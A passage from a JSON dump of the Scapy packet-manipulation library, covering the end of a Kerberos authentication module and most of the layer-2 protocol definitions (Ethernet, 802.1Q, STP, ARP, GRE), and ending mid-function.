AD-IF-RELEVANT\n                adIfRelevant = tkt.authorizationData.getAuthData(0x1)\n                if adIfRelevant:\n                    # Get AD-WIN2K-PAC\n                    Context.PAC = adIfRelevant.getAuthData(0x80)\n\n            # Get AP-REQ session key\n            Context.STSessionKey = tkt.key.toKey()\n            authenticator = ap_req.authenticator.decrypt(Context.STSessionKey)\n\n            # Compute an application session key ([MS-KILE] sect 3.1.1.2)\n            subkey = None\n            if ap_req.apOptions.val[2] == \"1\":  # mutual-required\n                appkey = Key.new_random_key(\n                    self.SKEY_TYPE,\n                )\n                Context.KrbSessionKey = appkey\n                Context.SessionKey = appkey.key\n                subkey = EncryptionKey.fromKey(appkey)\n            else:\n                Context.KrbSessionKey = self.KEY\n                Context.SessionKey = self.KEY.key\n\n            # Eventually process the \"checksum\"\n            if authenticator.cksum and authenticator.cksum.cksumtype == 0x8003:\n                # KRB-Authenticator\n                authcksum = authenticator.cksum.checksum\n                Context.flags = authcksum.Flags\n                # Check channel bindings\n                if (\n                    chan_bindings != GSS_C_NO_CHANNEL_BINDINGS\n                    and chan_bindings.digestMD5() != authcksum.Bnd\n                    and not (\n                        GSS_S_FLAGS.GSS_S_ALLOW_MISSING_BINDINGS in req_flags\n                        and authcksum.Bnd == GSS_C_NO_CHANNEL_BINDINGS\n                    )\n                ):\n                    # Channel binding checks failed.\n                    return Context, None, GSS_S_BAD_BINDINGS\n            elif (\n                chan_bindings != GSS_C_NO_CHANNEL_BINDINGS\n                and GSS_S_FLAGS.GSS_S_ALLOW_MISSING_BINDINGS not in req_flags\n            ):\n                # Uhoh, we required channel bindings\n                return Context, None, GSS_S_BAD_BINDINGS\n\n            # Build response (RFC4120 sect 3.2.4)\n            ap_rep = KRB_AP_REP(encPart=EncryptedData())\n            ap_rep.encPart.encrypt(\n                Context.STSessionKey,\n                EncAPRepPart(\n                    ctime=authenticator.ctime,\n                    cusec=authenticator.cusec,\n                    seqNumber=None,\n                    subkey=subkey,\n                ),\n            )\n            Context.state = self.STATE.SRV_SENT_APREP\n            if Context.flags & GSS_C_FLAGS.GSS_C_DCE_STYLE:\n                # [MS-KILE] sect 3.4.5.1\n                return Context, ap_rep, GSS_S_CONTINUE_NEEDED\n            return Context, ap_rep, GSS_S_COMPLETE  # success\n        elif (\n            Context.state == self.STATE.SRV_SENT_APREP\n            and Context.flags & GSS_C_FLAGS.GSS_C_DCE_STYLE\n        ):\n            # [MS-KILE] sect 3.4.5.1\n            # The server MUST receive the additional AP exchange reply message and\n            # verify that the message is constructed correctly.\n            if not input_token:\n                return Context, None, GSS_S_DEFECTIVE_TOKEN\n            # Server receives AP-req, sends AP-rep\n            if isinstance(input_token, KRB_AP_REP):\n                # Raw AP_REP was passed\n                ap_rep = input_token\n            else:\n                try:\n                    # GSSAPI/Kerberos\n                    ap_rep = input_token.root.innerToken.root\n                except AttributeError:\n                    try:\n                        # Raw Kerberos\n                        ap_rep = input_token.root\n                    except AttributeError:\n                        return Context, None, GSS_S_DEFECTIVE_TOKEN\n            # Decrypt the AP-REP\n            try:\n                ap_rep.encPart.decrypt(Context.STSessionKey)\n            except ValueError as ex:\n                warning(\"KerberosSSP: %s (bad KEY?)\" % ex)\n                return Context, None, GSS_S_DEFECTIVE_TOKEN\n            return Context, None, GSS_S_COMPLETE  # success\n        else:\n            raise ValueError(\"KerberosSSP: Unknown state %s\" % repr(Context.state))\n\n    def GSS_Passive(\n        self,\n        Context: CONTEXT,\n        input_token=None,\n        req_flags: Optional[GSS_S_FLAGS] = GSS_S_FLAGS.GSS_S_ALLOW_MISSING_BINDINGS,\n    ):\n        if Context is None:\n            Context = self.CONTEXT(True)\n            Context.passive = True\n\n        if Context.state == self.STATE.INIT or (\n            # In DCE/RPC, there's an extra AP-REP sent from the client.\n            Context.state == self.STATE.SRV_SENT_APREP\n            and req_flags & GSS_C_FLAGS.GSS_C_DCE_STYLE\n        ):\n            Context, _, status = self.GSS_Accept_sec_context(\n                Context,\n                input_token=input_token,\n                req_flags=req_flags,\n            )\n            if status in [GSS_S_CONTINUE_NEEDED, GSS_S_COMPLETE]:\n                Context.state = self.STATE.CLI_SENT_APREQ\n            else:\n                Context.state = self.STATE.FAILED\n        elif Context.state == self.STATE.CLI_SENT_APREQ:\n            Context, _, status = self.GSS_Init_sec_context(\n                Context,\n                input_token=input_token,\n                req_flags=req_flags,\n            )\n            if status == GSS_S_COMPLETE:\n                if req_flags & GSS_C_FLAGS.GSS_C_DCE_STYLE:\n                    status = GSS_S_CONTINUE_NEEDED\n                Context.state = self.STATE.SRV_SENT_APREP\n            else:\n                Context.state == self.STATE.FAILED\n        else:\n            # Unknown state. Don't crash though.\n            status = GSS_S_FAILURE\n\n        return Context, status\n\n    def GSS_Passive_set_Direction(self, Context: CONTEXT, IsAcceptor=False):\n        if Context.IsAcceptor is not IsAcceptor:\n            return\n        # Swap everything\n        Context.SendSealKeyUsage, Context.RecvSealKeyUsage = (\n            Context.RecvSealKeyUsage,\n            Context.SendSealKeyUsage,\n        )\n        Context.SendSignKeyUsage, Context.RecvSignKeyUsage = (\n            Context.RecvSignKeyUsage,\n            Context.SendSignKeyUsage,\n        )\n        Context.IsAcceptor = not Context.IsAcceptor\n\n    def LegsAmount(self, Context: CONTEXT):\n        if Context.flags & GSS_C_FLAGS.GSS_C_DCE_STYLE:\n            return 4\n        else:\n            return 2\n\n    def MaximumSignatureLength(self, Context: CONTEXT):\n        if Context.flags & GSS_C_FLAGS.GSS_C_CONF_FLAG:\n            # TODO: support DES\n            if Context.KrbSessionKey.etype in [17, 18]:  # AES\n                return 76\n            elif Context.KrbSessionKey.etype in [23, 24]:  # RC4_HMAC\n                return 45\n            else:\n                raise NotImplementedError\n        else:\n            return 28\n"
  },
  {
    "path": "scapy/layers/l2.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nClasses and functions for layer 2 protocols.\n\"\"\"\n\nimport itertools\nimport socket\nimport struct\nimport time\n\nfrom scapy.ansmachine import AnsweringMachine\nfrom scapy.arch import get_if_addr, get_if_hwaddr\nfrom scapy.base_classes import Gen, Net, _ScopedIP\nfrom scapy.compat import chb\nfrom scapy.config import conf\nfrom scapy import consts\nfrom scapy.data import ARPHDR_ETHER, ARPHDR_LOOPBACK, ARPHDR_METRICOM, \\\n    DLT_ETHERNET_MPACKET, DLT_LINUX_IRDA, DLT_LINUX_SLL, DLT_LINUX_SLL2, \\\n    DLT_LOOP, DLT_NULL, ETHER_ANY, ETHER_BROADCAST, ETHER_TYPES, ETH_P_ARP, ETH_P_MACSEC\nfrom scapy.error import (\n    ScapyNoDstMacException,\n    log_runtime,\n    warning,\n)\nfrom scapy.fields import (\n    BCDFloatField,\n    BitField,\n    ByteEnumField,\n    ByteField,\n    ConditionalField,\n    FCSField,\n    FieldLenField,\n    IP6Field,\n    IPField,\n    IntEnumField,\n    IntField,\n    LenField,\n    MACField,\n    MultipleTypeField,\n    OUIField,\n    ShortEnumField,\n    ShortField,\n    SourceIP6Field,\n    SourceIPField,\n    StrFixedLenField,\n    StrLenField,\n    ThreeBytesField,\n    XByteField,\n    XIntField,\n    XShortEnumField,\n    XShortField,\n)\nfrom scapy.interfaces import _GlobInterfaceType, resolve_iface\nfrom scapy.packet import bind_layers, Packet\nfrom scapy.plist import (\n    PacketList,\n    QueryAnswer,\n    SndRcvList,\n    _PacketList,\n)\nfrom scapy.sendrecv import sendp, srp, srp1, srploop\nfrom scapy.utils import (\n    checksum,\n    hexdump,\n    hexstr,\n    in4_getnsmac,\n    in4_ismaddr,\n    inet_aton,\n    inet_ntoa,\n    mac2str,\n    pretty_list,\n    valid_mac,\n    valid_net,\n    valid_net6,\n)\n\n# Typing imports\nfrom typing import (\n    Any,\n    Callable,\n    Dict,\n    Iterable,\n    List,\n    Optional,\n    Tuple,\n    Type,\n    Union,\n    cast,\n)\nfrom scapy.interfaces import NetworkInterface\n\n\nif conf.route is None:\n    # unused import, only to initialize conf.route\n    import scapy.route  # noqa: F401\n\n\n# type definitions\n_ResolverCallable = Callable[[Packet, Packet], Optional[str]]\n\n#################\n#  Tools        #\n#################\n\n\nclass Neighbor:\n    def __init__(self):\n        # type: () -> None\n        self.resolvers = {}  # type: Dict[Tuple[Type[Packet], Type[Packet]], _ResolverCallable] # noqa: E501\n\n    def register_l3(self, l2, l3, resolve_method):\n        # type: (Type[Packet], Type[Packet], _ResolverCallable) -> None\n        self.resolvers[l2, l3] = resolve_method\n\n    def resolve(self, l2inst, l3inst):\n        # type: (Packet, Packet) -> Optional[str]\n        k = l2inst.__class__, l3inst.__class__\n        if k in self.resolvers:\n            return self.resolvers[k](l2inst, l3inst)\n        return None\n\n    def __repr__(self):\n        # type: () -> str\n        return \"\\n\".join(\"%-15s -> %-15s\" % (l2.__name__, l3.__name__) for l2, l3 in self.resolvers)  # noqa: E501\n\n\nconf.neighbor = Neighbor()\n\n# cache entries expire after 120s\n_arp_cache = conf.netcache.new_cache(\"arp_cache\", 120)\n\n\n@conf.commands.register\ndef getmacbyip(ip, chainCC=0):\n    # type: (str, int) -> Optional[str]\n    \"\"\"\n    Returns the destination MAC address used to reach a given IP address.\n\n    This will follow the routing table and will issue an ARP request if\n    necessary. Special cases (multicast, etc.) are also handled.\n\n    .. seealso:: :func:`~scapy.layers.inet6.getmacbyip6` for IPv6.\n    \"\"\"\n    # Sanitize the IP\n    if isinstance(ip, Net):\n        ip = next(iter(ip))\n    ip = inet_ntoa(inet_aton(ip or \"0.0.0.0\"))\n\n    # Multicast\n    if in4_ismaddr(ip):  # mcast @\n        mac = in4_getnsmac(inet_aton(ip))\n        return mac\n\n    # Check the routing table\n    iff, _, gw = conf.route.route(ip)\n\n    # Limited broadcast\n    if ip == \"255.255.255.255\":\n        return \"ff:ff:ff:ff:ff:ff\"\n\n    # Directed broadcast\n    if (iff == conf.loopback_name) or (ip in conf.route.get_if_bcast(iff)):\n        return \"ff:ff:ff:ff:ff:ff\"\n\n    # An ARP request is necessary\n    if gw != \"0.0.0.0\":\n        ip = gw\n\n    # Check the cache\n    mac = _arp_cache.get(ip)\n    if mac:\n        return mac\n\n    try:\n        res = srp1(Ether(dst=ETHER_BROADCAST) / ARP(op=\"who-has\", pdst=ip),\n                   type=ETH_P_ARP,\n                   iface=iff,\n                   timeout=2,\n                   verbose=0,\n                   chainCC=chainCC,\n                   nofilter=1)\n    except Exception as ex:\n        warning(\"getmacbyip failed on %s\", ex)\n        return None\n    if res is not None:\n        mac = res.payload.hwsrc\n        _arp_cache[ip] = mac\n        return mac\n    return None\n\n\n# Fields\n\nclass DestMACField(MACField):\n    def __init__(self, name):\n        # type: (str) -> None\n        MACField.__init__(self, name, None)\n\n    def i2h(self, pkt, x):\n        # type: (Optional[Packet], Optional[str]) -> str\n        if x is None and pkt is not None:\n            x = None\n        return super(DestMACField, self).i2h(pkt, x)\n\n    def i2m(self, pkt, x):\n        # type: (Optional[Packet], Optional[str]) -> bytes\n        if x is None and pkt is not None:\n            try:\n                x = conf.neighbor.resolve(pkt, pkt.payload)\n            except socket.error:\n                pass\n            if x is None:\n                if conf.raise_no_dst_mac:\n                    raise ScapyNoDstMacException()\n                else:\n                    x = \"ff:ff:ff:ff:ff:ff\"\n                    warning(\n                        \"MAC address to reach destination not found. Using broadcast.\"\n                    )\n        return super(DestMACField, self).i2m(pkt, x)\n\n\nclass SourceMACField(MACField):\n    __slots__ = [\"getif\"]\n\n    def __init__(self, name, getif=None):\n        # type: (str, Optional[Any]) -> None\n        MACField.__init__(self, name, None)\n        self.getif = (lambda pkt: pkt.route()[0]) if getif is None else getif\n\n    def i2h(self, pkt, x):\n        # type: (Optional[Packet], Optional[str]) -> str\n        if x is None:\n            iff = self.getif(pkt)\n            if iff:\n                x = resolve_iface(iff).mac\n            if x is None:\n                x = \"00:00:00:00:00:00\"\n        return super(SourceMACField, self).i2h(pkt, x)\n\n    def i2m(self, pkt, x):\n        # type: (Optional[Packet], Optional[Any]) -> bytes\n        return super(SourceMACField, self).i2m(pkt, self.i2h(pkt, x))\n\n\n# Layers\n\nHARDWARE_TYPES = {\n    1: \"Ethernet (10Mb)\",\n    2: \"Ethernet (3Mb)\",\n    3: \"AX.25\",\n    4: \"Proteon ProNET Token Ring\",\n    5: \"Chaos\",\n    6: \"IEEE 802 Networks\",\n    7: \"ARCNET\",\n    8: \"Hyperchannel\",\n    9: \"Lanstar\",\n    10: \"Autonet Short Address\",\n    11: \"LocalTalk\",\n    12: \"LocalNet\",\n    13: \"Ultra link\",\n    14: \"SMDS\",\n    15: \"Frame relay\",\n    16: \"ATM\",\n    17: \"HDLC\",\n    18: \"Fibre Channel\",\n    19: \"ATM\",\n    20: \"Serial Line\",\n    21: \"ATM\",\n}\n\nETHER_TYPES[0x88a8] = '802_1AD'\nETHER_TYPES[0x88e7] = '802_1AH'\nETHER_TYPES[ETH_P_MACSEC] = '802_1AE'\n\n\nclass Ether(Packet):\n    name = \"Ethernet\"\n    fields_desc = [DestMACField(\"dst\"),\n                   SourceMACField(\"src\"),\n                   XShortEnumField(\"type\", 0x9000, ETHER_TYPES)]\n    __slots__ = [\"_defrag_pos\"]\n\n    def hashret(self):\n        # type: () -> bytes\n        return struct.pack(\"H\", self.type) + self.payload.hashret()\n\n    def answers(self, other):\n        # type: (Packet) -> int\n        if isinstance(other, Ether):\n            if self.type == other.type:\n                return self.payload.answers(other.payload)\n        return 0\n\n    def mysummary(self):\n        # type: () -> str\n        return self.sprintf(\"%src% > %dst% (%type%)\")\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        # type: (Optional[bytes], *Any, **Any) -> Type[Packet]\n        if _pkt and len(_pkt) >= 14:\n            if struct.unpack(\"!H\", _pkt[12:14])[0] <= 1500:\n                return Dot3\n        return cls\n\n\nclass Dot3(Packet):\n    name = \"802.3\"\n    fields_desc = [DestMACField(\"dst\"),\n                   SourceMACField(\"src\"),\n                   LenField(\"len\", None, \"H\")]\n\n    def extract_padding(self, s):\n        # type: (bytes) -> Tuple[bytes, bytes]\n        tmp_len = self.len\n        return s[:tmp_len], s[tmp_len:]\n\n    def answers(self, other):\n        # type: (Packet) -> int\n        if isinstance(other, Dot3):\n            return self.payload.answers(other.payload)\n        return 0\n\n    def mysummary(self):\n        # type: () -> str\n        return \"802.3 %s > %s\" % (self.src, self.dst)\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        # type: (Optional[Any], *Any, **Any) -> Type[Packet]\n        if _pkt and len(_pkt) >= 14:\n            if struct.unpack(\"!H\", _pkt[12:14])[0] > 1500:\n                return Ether\n        return cls\n\n\nclass LLC(Packet):\n    name = \"LLC\"\n    fields_desc = [XByteField(\"dsap\", 0x00),\n                   XByteField(\"ssap\", 0x00),\n                   ByteField(\"ctrl\", 0)]\n\n\ndef l2_register_l3(l2: Packet, l3: Packet) -> Optional[str]:\n    \"\"\"\n    Delegates resolving the default L2 destination address to the payload of L3.\n    \"\"\"\n    neighbor = conf.neighbor  # type: Neighbor\n    return neighbor.resolve(l2, l3.payload)\n\n\nconf.neighbor.register_l3(Ether, LLC, l2_register_l3)\nconf.neighbor.register_l3(Dot3, LLC, l2_register_l3)\n\n\nCOOKED_LINUX_PACKET_TYPES = {\n    0: \"unicast\",\n    1: \"broadcast\",\n    2: \"multicast\",\n    3: \"unicast-to-another-host\",\n    4: \"sent-by-us\"\n}\n\n\nclass CookedLinux(Packet):\n    # Documentation: http://www.tcpdump.org/linktypes/LINKTYPE_LINUX_SLL.html\n    name = \"cooked linux\"\n    # from wireshark's database\n    fields_desc = [ShortEnumField(\"pkttype\", 0, COOKED_LINUX_PACKET_TYPES),\n                   XShortField(\"lladdrtype\", 512),\n                   ShortField(\"lladdrlen\", 0),\n                   StrFixedLenField(\"src\", b\"\", 8),\n                   XShortEnumField(\"proto\", 0x800, ETHER_TYPES)]\n\n\nclass CookedLinuxV2(CookedLinux):\n    # Documentation: https://www.tcpdump.org/linktypes/LINKTYPE_LINUX_SLL2.html\n    name = \"cooked linux v2\"\n    fields_desc = [XShortEnumField(\"proto\", 0x800, ETHER_TYPES),\n                   ShortField(\"reserved\", 0),\n                   IntField(\"ifindex\", 0),\n                   XShortField(\"lladdrtype\", 512),\n                   ByteEnumField(\"pkttype\", 0, COOKED_LINUX_PACKET_TYPES),\n                   ByteField(\"lladdrlen\", 0),\n                   StrFixedLenField(\"src\", b\"\", 8)]\n\n\nclass MPacketPreamble(Packet):\n    # IEEE 802.3br Figure 99-3\n    name = \"MPacket Preamble\"\n    fields_desc = [StrFixedLenField(\"preamble\", b\"\", length=8),\n                   FCSField(\"fcs\", 0, fmt=\"!I\")]\n\n\nclass SNAP(Packet):\n    name = \"SNAP\"\n    fields_desc = [OUIField(\"OUI\", 0x000000),\n                   XShortEnumField(\"code\", 0x000, ETHER_TYPES)]\n\n\nconf.neighbor.register_l3(Dot3, SNAP, l2_register_l3)\n\n\nclass Dot1Q(Packet):\n    name = \"802.1Q\"\n    aliastypes = [Ether]\n    fields_desc = [BitField(\"prio\", 0, 3),\n                   BitField(\"dei\", 0, 1),\n                   BitField(\"vlan\", 1, 12),\n                   XShortEnumField(\"type\", 0x0000, ETHER_TYPES)]\n    deprecated_fields = {\n        \"id\": (\"dei\", \"2.5.0\"),\n    }\n\n    def answers(self, other):\n        # type: (Packet) -> int\n        if isinstance(other, Dot1Q):\n            if ((self.type == other.type) and\n                    (self.vlan == other.vlan)):\n                return self.payload.answers(other.payload)\n        else:\n            return self.payload.answers(other)\n        return 0\n\n    def default_payload_class(self, pay):\n        # type: (bytes) -> Type[Packet]\n        if self.type <= 1500:\n            return LLC\n        return conf.raw_layer\n\n    def extract_padding(self, s):\n        # type: (bytes) -> Tuple[bytes, Optional[bytes]]\n        if self.type <= 1500:\n            return s[:self.type], s[self.type:]\n        return s, None\n\n    def mysummary(self):\n        # type: () -> str\n        if isinstance(self.underlayer, Ether):\n            return self.underlayer.sprintf(\"802.1q %Ether.src% > %Ether.dst% (%Dot1Q.type%) vlan %Dot1Q.vlan%\")  # noqa: E501\n        else:\n            return self.sprintf(\"802.1q (%Dot1Q.type%) vlan %Dot1Q.vlan%\")\n\n\nconf.neighbor.register_l3(Ether, Dot1Q, l2_register_l3)\n\n\nclass STP(Packet):\n    name = \"Spanning Tree Protocol\"\n    fields_desc = [ShortField(\"proto\", 0),\n                   ByteField(\"version\", 0),\n                   ByteField(\"bpdutype\", 0),\n                   ByteField(\"bpduflags\", 0),\n                   ShortField(\"rootid\", 0),\n                   MACField(\"rootmac\", ETHER_ANY),\n                   IntField(\"pathcost\", 0),\n                   ShortField(\"bridgeid\", 0),\n                   MACField(\"bridgemac\", ETHER_ANY),\n                   ShortField(\"portid\", 0),\n                   BCDFloatField(\"age\", 1),\n                   BCDFloatField(\"maxage\", 20),\n                   BCDFloatField(\"hellotime\", 2),\n                   BCDFloatField(\"fwddelay\", 15)]\n\n\nclass ARP(Packet):\n    name = \"ARP\"\n    fields_desc = [\n        XShortEnumField(\"hwtype\", 0x0001, HARDWARE_TYPES),\n        XShortEnumField(\"ptype\", 0x0800, ETHER_TYPES),\n        FieldLenField(\"hwlen\", None, fmt=\"B\", length_of=\"hwsrc\"),\n        FieldLenField(\"plen\", None, fmt=\"B\", length_of=\"psrc\"),\n        ShortEnumField(\"op\", 1, {\n            \"who-has\": 1,\n            \"is-at\": 2,\n            \"RARP-req\": 3,\n            \"RARP-rep\": 4,\n            \"Dyn-RARP-req\": 5,\n            \"Dyn-RAR-rep\": 6,\n            \"Dyn-RARP-err\": 7,\n            \"InARP-req\": 8,\n            \"InARP-rep\": 9\n        }),\n        MultipleTypeField(\n            [\n                (SourceMACField(\"hwsrc\"),\n                 (lambda pkt: pkt.hwtype == 1 and pkt.hwlen == 6,\n                  lambda pkt, val: pkt.hwtype == 1 and (\n                      pkt.hwlen == 6 or (pkt.hwlen is None and\n                                         (val is None or len(val) == 6 or\n                                          valid_mac(val)))\n                  ))),\n            ],\n            StrFixedLenField(\"hwsrc\", None, length_from=lambda pkt: pkt.hwlen),\n        ),\n        MultipleTypeField(\n            [\n                (SourceIPField(\"psrc\"),\n                 (lambda pkt: pkt.ptype == 0x0800 and pkt.plen == 4,\n                  lambda pkt, val: pkt.ptype == 0x0800 and (\n                      pkt.plen == 4 or (pkt.plen is None and\n                                        (val is None or valid_net(val)))\n                  ))),\n                (SourceIP6Field(\"psrc\"),\n                 (lambda pkt: pkt.ptype == 0x86dd and pkt.plen == 16,\n                  lambda pkt, val: pkt.ptype == 0x86dd and (\n                      pkt.plen == 16 or (pkt.plen is None and\n                                         (val is None or valid_net6(val)))\n                  ))),\n            ],\n            StrFixedLenField(\"psrc\", None, length_from=lambda pkt: pkt.plen),\n        ),\n        MultipleTypeField(\n            [\n                (MACField(\"hwdst\", ETHER_ANY),\n                 (lambda pkt: pkt.hwtype == 1 and pkt.hwlen == 6,\n                  lambda pkt, val: pkt.hwtype == 1 and (\n                      pkt.hwlen == 6 or (pkt.hwlen is None and\n                                         (val is None or len(val) == 6 or\n                                          valid_mac(val)))\n                  ))),\n            ],\n            StrFixedLenField(\"hwdst\", None, length_from=lambda pkt: pkt.hwlen),\n        ),\n        MultipleTypeField(\n            [\n                (IPField(\"pdst\", \"0.0.0.0\"),\n                 (lambda pkt: pkt.ptype == 0x0800 and pkt.plen == 4,\n                  lambda pkt, val: pkt.ptype == 0x0800 and (\n                      pkt.plen == 4 or (pkt.plen is None and\n                                        (val is None or valid_net(val)))\n                  ))),\n                (IP6Field(\"pdst\", \"::\"),\n                 (lambda pkt: pkt.ptype == 0x86dd and pkt.plen == 16,\n                  lambda pkt, val: pkt.ptype == 0x86dd and (\n                      pkt.plen == 16 or (pkt.plen is None and\n                                         (val is None or valid_net6(val)))\n                  ))),\n            ],\n            StrFixedLenField(\"pdst\", None, length_from=lambda pkt: pkt.plen),\n        ),\n    ]\n\n    def hashret(self):\n        # type: () -> bytes\n        return struct.pack(\">HHH\", self.hwtype, self.ptype,\n                           ((self.op + 1) // 2)) + self.payload.hashret()\n\n    def answers(self, other):\n        # type: (Packet) -> int\n        if not isinstance(other, ARP):\n            return False\n        if self.op != other.op + 1:\n            return False\n        # We use a loose comparison on psrc vs pdst to catch answers\n        # with ARP leaks\n        self_psrc = self.get_field('psrc').i2m(self, self.psrc)  # type: bytes\n        other_pdst = other.get_field('pdst').i2m(other, other.pdst) \\\n            # type: bytes\n        return self_psrc[:len(other_pdst)] == other_pdst[:len(self_psrc)]\n\n    def route(self):\n        # type: () -> Tuple[Optional[str], Optional[str], Optional[str]]\n        fld, dst = cast(Tuple[MultipleTypeField, str],\n                        self.getfield_and_val(\"pdst\"))\n        fld_inner, dst = fld._find_fld_pkt_val(self, dst)\n        scope = None\n        if isinstance(dst, (Net, _ScopedIP)):\n            scope = dst.scope\n        if isinstance(dst, Gen):\n            dst = next(iter(dst))\n        if isinstance(fld_inner, IP6Field):\n            return conf.route6.route(dst, dev=scope)\n        elif isinstance(fld_inner, IPField):\n            return conf.route.route(dst, dev=scope)\n        else:\n            return None, None, None\n\n    def extract_padding(self, s):\n        # type: (bytes) -> Tuple[bytes, bytes]\n        return b\"\", s\n\n    def mysummary(self):\n        # type: () -> str\n        if self.op == 1:\n            return self.sprintf(\"ARP who has %pdst% says %psrc%\")\n        if self.op == 2:\n            return self.sprintf(\"ARP is at %hwsrc% says %psrc%\")\n        return self.sprintf(\"ARP %op% %psrc% > %pdst%\")\n\n\ndef l2_register_l3_arp(l2: Packet, l3: Packet) -> Optional[str]:\n    \"\"\"\n    Resolves the default L2 destination address when ARP is used.\n    \"\"\"\n    if l3.op == 1:  # who-has\n        return \"ff:ff:ff:ff:ff:ff\"\n    elif l3.op == 2:  # is-at\n        log_runtime.warning(\n            \"You should be providing the Ethernet destination MAC address when \"\n            \"sending an is-at ARP.\"\n        )\n    # Need ARP request to send ARP request...\n    plen = l3.get_field(\"pdst\").i2len(l3, l3.pdst)\n    if plen == 4:\n        return getmacbyip(l3.pdst)\n    elif plen == 32:\n        from scapy.layers.inet6 import getmacbyip6\n        return getmacbyip6(l3.pdst)\n    # Can't even do that\n    log_runtime.warning(\n        \"You should be providing the Ethernet destination mac when sending this \"\n        \"kind of ARP packets.\"\n    )\n    return None\n\n\nconf.neighbor.register_l3(Ether, ARP, l2_register_l3_arp)\n\n\nclass GRErouting(Packet):\n    name = \"GRE routing information\"\n    fields_desc = [ShortField(\"address_family\", 0),\n                   ByteField(\"SRE_offset\", 0),\n                   FieldLenField(\"SRE_len\", None, \"routing_info\", \"B\"),\n                   StrLenField(\"routing_info\", b\"\",\n                               length_from=lambda pkt: pkt.SRE_len),\n                   ]\n\n\nclass GRE(Packet):\n    name = \"GRE\"\n    deprecated_fields = {\n        \"seqence_number\": (\"sequence_number\", \"2.4.4\"),\n    }\n    fields_desc = [BitField(\"chksum_present\", 0, 1),\n                   BitField(\"routing_present\", 0, 1),\n                   BitField(\"key_present\", 0, 1),\n                   BitField(\"seqnum_present\", 0, 1),\n                   BitField(\"strict_route_source\", 0, 1),\n                   BitField(\"recursion_control\", 0, 3),\n                   BitField(\"flags\", 0, 5),\n                   BitField(\"version\", 0, 3),\n                   XShortEnumField(\"proto\", 0x0000, ETHER_TYPES),\n                   ConditionalField(XShortField(\"chksum\", None), lambda pkt:pkt.chksum_present == 1 or pkt.routing_present == 1),  # noqa: E501\n                   ConditionalField(XShortField(\"offset\", None), lambda pkt:pkt.chksum_present == 1 or pkt.routing_present == 1),  # noqa: E501\n                   ConditionalField(XIntField(\"key\", None), lambda pkt:pkt.key_present == 1),  # noqa: E501\n                   ConditionalField(XIntField(\"sequence_number\", None), lambda pkt:pkt.seqnum_present == 1),  # noqa: E501\n                   ]\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        # type: (Optional[Any], *Any, **Any) -> Type[Packet]\n        if _pkt and struct.unpack(\"!H\", _pkt[2:4])[0] == 0x880b:\n            return GRE_PPTP\n        return cls\n\n    def post_build(self, p, pay):\n        # type: (bytes, bytes) -> bytes\n        p += pay\n        if self.chksum_present and self.chksum is None:\n            c = checksum(p)\n            p = p[:4] + chb((c >> 8) & 0xff) + chb(c & 0xff) + p[6:]\n        return p\n\n\nclass GRE_PPTP(GRE):\n\n    \"\"\"\n    Enhanced GRE header used with PPTP\n    RFC 2637\n    \"\"\"\n\n    name = \"GRE PPTP\"\n    deprecated_fields = {\n        \"seqence_number\": (\"sequence_number\", \"2.4.4\"),\n    }\n    fields_desc = [BitField(\"chksum_present\", 0, 1),\n                   BitField(\"routing_present\", 0, 1),\n                   BitField(\"key_present\", 1, 1),\n                   BitField(\"seqnum_present\", 0, 1),\n                   BitField(\"strict_route_source\", 0, 1),\n                   BitField(\"recursion_control\", 0, 3),\n                   BitField(\"acknum_present\", 0, 1),\n                   BitField(\"flags\", 0, 4),\n                   BitField(\"version\", 1, 3),\n                   XShortEnumField(\"proto\", 0x880b, ETHER_TYPES),\n                   ShortField(\"payload_len\", None),\n                   ShortField(\"call_id\", None),\n                   ConditionalField(XIntField(\"sequence_number\", None), lambda pkt: pkt.seqnum_present == 1),  # noqa: E501\n                   ConditionalField(XIntField(\"ack_number\", None), lambda pkt: pkt.acknum_present == 1)]  # noqa: E501\n\n    def post_build(self, p, pay):\n        # type: (bytes, bytes) -> bytes\n        p += pay\n        if self.payload_len is None:\n            pay_len = len(pay)\n            p = p[:4] + chb((pay_len >> 8) & 0xff) + chb(pay_len & 0xff) + p[6:]  # noqa: E501\n        return p\n\n\n# *BSD loopback layer\n\nclass LoIntEnumField(IntEnumField):\n\n    def m2i(self, pkt, x):\n        # type: (Optional[Packet], int) -> int\n        return x >> 24\n\n    def i2m(self, pkt, x):\n        # type: (Optional[Packet], Union[List[int], int, None]) -> int\n        return cast(int, x) << 24\n\n\n# https://github.com/wireshark/wireshark/blob/fe219637a6748130266a0b0278166046e60a2d68/epan/dissectors/packet-null.c\n# https://www.wireshark.org/docs/wsar_html/epan/aftypes_8h.html\nLOOPBACK_TYPES = {0x2: \"IPv4\",\n                  0x7: \"OSI\",\n                  0x10: \"Appletalk\",\n                  0x17: \"Netware IPX/SPX\",\n                  0x18: \"IPv6\", 0x1c: \"IPv6\", 0x1e: \"IPv6\"}\n\n\n# On OpenBSD, Loopback = LoopbackOpenBSD. On other platforms, the 2 are available.\n# This is to be compatible with both tcpdump and tshark\n\nclass Loopback(Packet):\n    r\"\"\"\n    \\*BSD loopback layer\n    \"\"\"\n    __slots__ = [\"_defrag_pos\"]\n    name = \"Loopback\"\n    if consts.OPENBSD:\n        fields_desc = [IntEnumField(\"type\", 0x2, LOOPBACK_TYPES)]\n    else:\n        fields_desc = [LoIntEnumField(\"type\", 0x2, LOOPBACK_TYPES)]\n\n\nif consts.OPENBSD:\n    LoopbackOpenBSD = Loopback\nelse:\n    class LoopbackOpenBSD(Loopback):\n        name = \"OpenBSD Loopback\"\n        fields_desc = [IntEnumField(\"type\", 0x2, LOOPBACK_TYPES)]\n\n\nclass Dot1AD(Dot1Q):\n    name = '802_1AD'\n\n\nclass Dot1AH(Packet):\n    name = \"802_1AH\"\n    fields_desc = [BitField(\"prio\", 0, 3),\n                   BitField(\"dei\", 0, 1),\n                   BitField(\"nca\", 0, 1),\n                   BitField(\"res1\", 0, 1),\n                   BitField(\"res2\", 0, 2),\n                   ThreeBytesField(\"isid\", 0)]\n\n    def answers(self, other):\n        # type: (Packet) -> int\n        if isinstance(other, Dot1AH):\n            if self.isid == other.isid:\n                return self.payload.answers(other.payload)\n        return 0\n\n    def mysummary(self):\n        # type: () -> str\n        return 